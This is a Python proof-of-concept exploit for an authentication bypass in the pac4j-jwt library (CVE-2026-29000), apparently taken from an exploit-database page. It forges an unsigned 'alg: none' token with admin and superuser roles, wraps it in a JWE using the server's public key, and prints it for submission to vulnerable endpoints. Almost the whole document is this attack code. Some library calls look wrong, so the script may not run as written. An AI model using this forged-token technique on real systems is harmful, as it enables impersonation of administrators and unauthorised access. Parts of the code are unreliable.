#!/usr/bin/env python3 # Exploit Title: pac4j-jwt < 4.5.9, < 5.7.9, < 6.3.3 JwtAuthenticator Authentication Bypass via JWE-wrapped PlainJWT # CVE: CVE-2026-29000 # Date: 2026-03-05 # Exploit Author: Mohammed Idrees Banyamer # Author Country: Jordan # Instagram: @banyamer_security # Author GitHub: https://github.com/mbanyamer # Vendor Homepage: https://www.pac4j.org # Software Link: https://github.com/pac4j/pac4j # Affected: pac4j-jwt < 4.5.9, < 5.7.9, < 6.3.3 # Tested on: Python 3.12 with pyjwt + cryptography # Category: Remote Authentication Bypass # Platform: Java (pac4j-jwt library) # Exploit Type: Proof of Concept # CVSS: 10.0 (Critical) # CWE : CWE-347 (Improper Verification of Cryptographic Signature) # Description: Allows remote attackers with only the server's RSA public key to forge authentication tokens by wrapping an unsigned PlainJWT in JWE (RSA-OAEP-256 + A256GCM), bypassing signature verification and impersonating any user (including admins). # Fixed in: pac4j-jwt 4.5.9, 5.7.9, 6.3.3+ # Usage: # python3 exploit.py # # Examples: # python3 exploit.py # # Options: # (No command-line args needed in this standalone PoC version) # # Notes: # - Requires: pip install pyjwt cryptography # - This generates a malicious token locally; in a real attack you'd fetch the public key from the target's JWKS endpoint. # - For demo only — use responsibly and only on systems you own or have explicit permission to test. # # How to Use # # Step 1: Run the script to generate a malicious JWE token # Step 2: Submit the token in an Authorization: Bearer <token> header to a vulnerable pac4j-jwt protected endpoint print(r""" ╔════════════════════════════════════════════════════════════════════════════════════════════╗ ║ ║ ║ ▄▄▄▄· ▄▄ . ▄▄ • ▄▄▄▄▄ ▄▄ ▄▄▄· ▄▄▄· ▄▄▄▄▄▄▄▄▄ .▄▄▄ ▄• ▄▌ ║ ║ ▐█ ▀█▪▀▄.▀·▐█ ▀ ▪•██ ▪ ▀▄ █·▐█ ▀█ ▐█ ▄█•██ ▀▀▄.▀·▀▄ █·█▪██▌ ║ ║ ▐█▀▀█▄▐▀▀▪▄▄█ ▀█ ▐█.▪ ▄█▀▄ ▐▀▀▄ ▄█▀▀█ ██▀· ▐█.▪▐▀▀▪▄▐▀▀▄ █▌▐█· ║ ║ ██▄▪▐█▐█▄▄▌▐█▄▪▐█ ▐█▌·▐█▌.▐▌▐█•█▌▐█ ▪▐▌▐█▪·• ▐█▌·▐█▄▄▌▐█•█▌▐█▄█▌ ║ ║ ·▀▀▀▀ ▀▀▀ ·▀▀▀▀ ▀▀▀ ▀█▄▀▪.▀ ▀ ▀ ▀ .▀ ▀▀▀ ▀▀▀ .▀ ▀ ▀▀▀ ║ ║ ║ ║ b a n y a m e r _ s e c u r i t y ║ ║ ║ ║ >>> Silent Hunter • Shadow Presence <<< ║ ║ ║ ║ Operator : Mohammed Idrees Banyamer Jordan 🇯🇴 ║ ║ Handle : @banyamer_security ║ ║ ║ ║ CVE-2026-29000 • pac4j-jwt → Auth Bypass via Public Key ║ ║ ║ ╚════════════════════════════════════════════════════════════════════════════════════════════╝ """) import json from datetime import datetime, timedelta, timezone from cryptography.hazmat.primitives import serialization from cryptography.hazmat.primitives.asymmetric import rsa from cryptography.hazmat.primitives.asymmetric.padding import OAEP from cryptography.hazmat.primitives.hashes import SHA256 from cryptography.hazmat.backends import default_backend import jwt private_key = rsa.generate_private_key( public_exponent=65537, key_size=2048, backend=default_backend() ) public_key = private_key.public_key() public_pem = public_key.public_bytes( encoding=serialization.Encoding.PEM, format=serialization.PublicFormat.SubjectPublicKeyInfo ).decode('utf-8') print("[+] Public key (PEM) that attacker would use:\n") print(public_pem) malicious_claims = { "sub": "admin#override", "email": "[email protected]", "$int_roles": ["ROLE_ADMIN", "ROLE_SUPERUSER"], "iat": int(datetime.now(timezone.utc).timestamp()), "exp": int((datetime.now(timezone.utc) + timedelta(hours=1)).timestamp()) } print("\n[+] Malicious claims:") print(json.dumps(malicious_claims, indent=2)) header = { "alg": "none", "typ": "JWT" } payload = jwt.utils.base64url_encode(json.dumps(malicious_claims).encode()).decode() unsigned_jwt = ( jwt.utils.base64url_encode(json.dumps(header).encode()).decode() + "." + payload + "." ) print("\n[+] Unsigned PlainJWT (inner token):\n" + unsigned_jwt) jwe_header = { "alg": "RSA-OAEP-256", "enc": "A256GCM", "typ": "JWE", "cty": "JWT" } protected = jwt.utils.base64url_encode(json.dumps(jwe_header).encode()).decode() cek = jwt.utils.generate_key(32) encrypted_key = public_key.encrypt( cek, OAEP( mgf=OAEP.MGF1(algorithm=SHA256()), algorithm=SHA256(), label=None ) ) encrypted_key_b64 = jwt.utils.base64url_encode(encrypted_key).decode() iv = jwt.utils.generate_key(12) ciphertext, tag = jwt.algorithms.AESGCM(cek).encrypt( nonce=iv, data=unsigned_jwt.encode(), associated_data=protected.encode() ) iv_b64 = jwt.utils.base64url_encode(iv).decode() ciphertext_b64 = jwt.utils.base64url_encode(ciphertext).decode() tag_b64 = jwt.utils.base64url_encode(tag).decode() jwe_token = ( protected + "." + encrypted_key_b64 + "." + iv_b64 + "." + ciphertext_b64 + "." + tag_b64 ) print("\n[+] Malicious JWE token (submit this to vulnerable pac4j-jwt):\n") print(jwe_token) print("\n(length: {} chars)".format(len(jwe_token)))
References:
https://www.pac4j.org/blog/security-advisory-pac4j-jwt-jwtauthenticator.html
https://www.vulncheck.com/advisories/pac4j-jwt-jwtauthenticator-authentication-bypass
https://www.codeant.ai/security-research/pac4j-jwt-authentication-bypass-public-key
https://nvd.nist.gov/vuln/detail/CVE-2026-29000
(once published)
{{ x.nick }}
{{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1 {{ x.comment }} |